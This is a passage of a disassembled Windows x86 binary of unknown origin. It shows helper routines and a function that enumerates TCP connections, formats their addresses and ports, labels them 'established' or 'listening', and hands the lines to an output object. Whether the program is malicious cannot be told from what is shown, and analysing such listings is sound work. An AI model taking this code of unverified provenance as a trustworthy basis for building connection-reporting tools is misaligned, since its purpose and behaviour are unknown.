		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D94
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D90
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D84
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D84
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D80
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		call	near ptr 71AB50C8h
		nop
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		nop
		call	near ptr 27D07EBh
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E6C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE6C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


